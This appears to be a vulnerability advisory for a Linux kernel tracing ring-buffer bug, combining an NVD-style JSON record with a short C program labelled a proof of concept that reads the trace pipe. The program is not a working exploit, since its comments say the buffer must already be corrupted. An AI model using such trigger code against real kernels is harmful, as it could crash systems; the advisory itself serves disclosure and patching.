CVE-2026-43210

/* * PoC for CVE-2026-43210 * This code demonstrates how a local user might interact with the ring buffer. * Exploitation requires the ability to introduce a corrupted length in the ring buffer, * or triggering the read path on a buffer that is already corrupted. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #define TRACE_PATH "/sys/kernel/debug/tracing" int main() { int fd; char buffer[1024]; // Check if tracing is available if (access(TRACE_PATH, F_OK) == -1) { perror("Tracing interface not available"); return 1; } // Attempt to read trace data to trigger rb_read_data_buffer // In a real exploit scenario, an attacker would need to corrupt the // event length in the ring buffer memory first. fd = open(TRACE_PATH "/trace_pipe", O_RDONLY | O_NONBLOCK); if (fd < 0) { perror("Failed to open trace_pipe"); return 1; } printf("Reading from trace pipe to trigger vulnerable code path...\n"); // Reading data forces the kernel to parse the ring buffer ssize_t bytes_read = read(fd, buffer, sizeof(buffer) - 1); if (bytes_read > 0) { buffer[bytes_read] = '\0'; } close(fd); printf("Done. If the ring buffer contained a corrupted event length, the kernel would panic here.\n"); return 0; }

{"cve": {"id": "CVE-2026-43210", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:40.417", "lastModified": "2026-05-11T19:58:20.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: ring-buffer: Fix to check event length before using\n\nCheck the event length before adding it for accessing next index in\nrb_read_data_buffer(). Since this function is used for validating\npossibly broken ring buffers, the length of the event could be broken.\nIn that case, the new event (e + len) can point a wrong address.\nTo avoid invalid memory access at boot, check whether the length of\neach event is in the possible range before using it."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12", "versionEndExcluding": "6.12.75", "matchCriteriaId": "91F4DDF8-DCB5-433F-9A96-EB7DD49CF8DB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/5026010110a5ad2268d8c23e1e286ab7c736f7ac", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/912b0ee248c529a4f45d1e7f568dc1adddbf2a4a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9eb80e54494ef1efef8a64bec4ffa672c9cf411e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b4700c089a10f89de3a5149d57f8a58306458982", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}